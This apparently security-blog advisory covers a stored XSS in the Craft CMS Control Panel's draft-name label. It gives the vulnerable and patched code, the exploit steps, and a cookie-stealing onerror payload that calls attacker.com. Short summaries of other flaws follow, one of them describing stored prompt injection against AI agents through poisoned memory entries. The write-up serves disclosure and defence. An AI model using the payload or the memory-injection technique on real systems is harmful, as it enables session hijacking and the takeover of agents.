Aug 7, 2026·6 min read·12 visits
Craft CMS control panel is vulnerable to stored XSS via draft names because Yii's Html::tag helper does not auto-encode input, allowing authenticated authors to execute arbitrary JavaScript in administrators' browsers.
An authenticated stored Cross-Site Scripting (XSS) vulnerability exists in the Control Panel helper of Craft CMS before version 5.10.8. Due to lack of HTML entity encoding within the elementLabelHtml method, unescaped draft names are rendered directly into administrative interfaces.
Craft CMS is a widely used PHP-based content management system developed to create tailored digital experiences. Its administrative interface, known as the Control Panel, exposes a substantial attack surface via user-controlled parameters that populate listings, cards, and metadata grids. In particular, the system represents state variations of elements using small visual badges or chips to help editors identify entries in active editing stages.
A stored Cross-Site Scripting (XSS) vulnerability identified as GHSA-2RP4-X2J7-QMCC resides in the Control Panel helper component responsible for generating these visual labels. The flaw lies within the private method elementLabelHtml located in the src/helpers/Cp.php helper class. The method fails to sanitize user-supplied draft names prior to outputting them inside the administrative interface.
The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the payload persists in the database and executes inside the sessions of other Control Panel users, including administrators, the risk of escalation is significant. Any authenticated user with access to draft creation can inject arbitrary scripts to compromise highly privileged administrative sessions.
The technical root cause of GHSA-2RP4-X2J7-QMCC is the lack of proper encoding when rendering the $element->draftName property within the administrative template helper. The draft name property holds a string representation supplied by the content editor when saving a draft. Because this string is fully controlled by the client, it is classified as an untrusted data source.
The vulnerability manifests when the application attempts to build the HTML string for the draft state badge. To construct the container tag, the helper class calls a helper method from the underlying framework: Html::tag('span', $content, $options). This method is a direct wrapper around Yii 2 framework's yii\helpers\Html::tag() function.
In the Yii 2 framework, the $content parameter passed to the tag() helper is not automatically HTML-encoded. This design decision allows developers to pass pre-built, nested HTML nodes into container elements. Consequently, when the raw, unescaped $element->draftName value is passed as the content parameter, any HTML markup within the string persists intact within the generated template and is rendered directly inside the document object model.
Analyzing the unpatched implementation of src/helpers/Cp.php reveals how the unescaped input enters the rendering pipeline. The vulnerability is located inside the elementLabelHtml function around line 1150:
// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
/** @var DraftBehavior&ElementInterface $element */
$content .= Html::tag('span', $element->draftName ?: Craft::t('app', 'Draft'), [
'class' => 'context-label',
]);
}In this implementation, the code evaluates if the element is a draft, ensures it is neither provisional nor unpublished, and appends a span element. The second argument of Html::tag evaluates directly to the unescaped $element->draftName if present. If an attacker inputs <script>alert(1)</script> as the draft name, the server outputs <span class="context-label"><script>alert(1)</script></span>.
The official patch modified this block to explicitly encode the input variable:
// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
/** @var DraftBehavior&ElementInterface $element */
$content .= Html::tag(
'span',
$element->draftName ? Html::encode($element->draftName) : Craft::t('app', 'Draft'),
['class' => 'context-label'],
);
}By routing the property through Html::encode(), special characters are translated into secure entities (e.g., < becomes <). While this fix successfully neutralizes HTML execution inside standard document structures, developers must ensure that provisional or unpublished draft names are not rendered unescaped in other unpatched classes.
To execute this exploit, an attacker requires credentials to an account with permissions to edit or create entry drafts, such as an external contributor or standard content author. The attack is structured to exploit the implicit trust placed in draft parameters.
First, the attacker logs into the Control Panel and navigates to an entry interface. They create a draft and configure its name to include a typical image-based injection payload: <img src=x onerror="fetch('https://attacker.com/exfil?c=' + btoa(document.cookie))">. The database stores this malicious payload in the draft name field.
Second, the administrator logs into the system and requests the global entries directory or dashboard widget. The server invokes the elementLabelHtml helper to generate the listing badges. Because the browser interprets the unescaped payload within the administrator's context, the JavaScript executes, enabling the attacker to harvest the session identifier and bypass security controls.
The impact of this stored XSS is elevated due to its location inside the administrative backend of the application. The executed script inherits the full authorizations and session characteristics of the victim. If the victim is an administrator, the attacker gains complete control over the CMS installation.
Actions possible via administrative context execution include the creation of new users with administrator privileges, direct database query execution via exposed utility panels, and modification of system settings. Furthermore, an attacker can disable auditing mechanisms or inject malicious scripts into public-facing templates, establishing a path to compromise site visitors.
The calculated CVSS version 3.1 base score is 8.2 (High). The vector details are CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The scope is rated as 'Changed' (S:C) because exploitation allows escaping the limited user space of an editor and running tasks within the administrative security context. Availability is unaffected, as the script does not crash the database or web services.
The permanent remediation for GHSA-2RP4-X2J7-QMCC is upgrading the Craft CMS codebase to version 5.10.8 or newer. Upgrades should be conducted via Composer to ensure dependencies and autoload tables update correctly.
If immediate system upgrades are restricted by change-management processes, several temporary defense-in-depth measures are available. Applying a comprehensive Content Security Policy (CSP) restricts the execution of unauthorized inline scripts. The policy should mandate script nonces or restrict execution to trusted origin servers, minimizing the threat of unescaped browser payloads.
Web Application Firewalls (WAFs) can also inspect incoming requests targeting draft updates. Rules should flag and block parameters matching typical execution events (e.g., <script>, onerror=, onload=). However, server-side code correction remains the only definitive resolution to address the root escaping issue.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Craft CMS Craft CMS | < 5.10.8 | 5.10.8 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 8.2 (High) |
| Exploit Status | Proof of Concept |
| Vulnerability Type | Stored Cross-Site Scripting (XSS) |
| Affected Component | src/helpers/Cp.php (elementLabelHtml method) |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.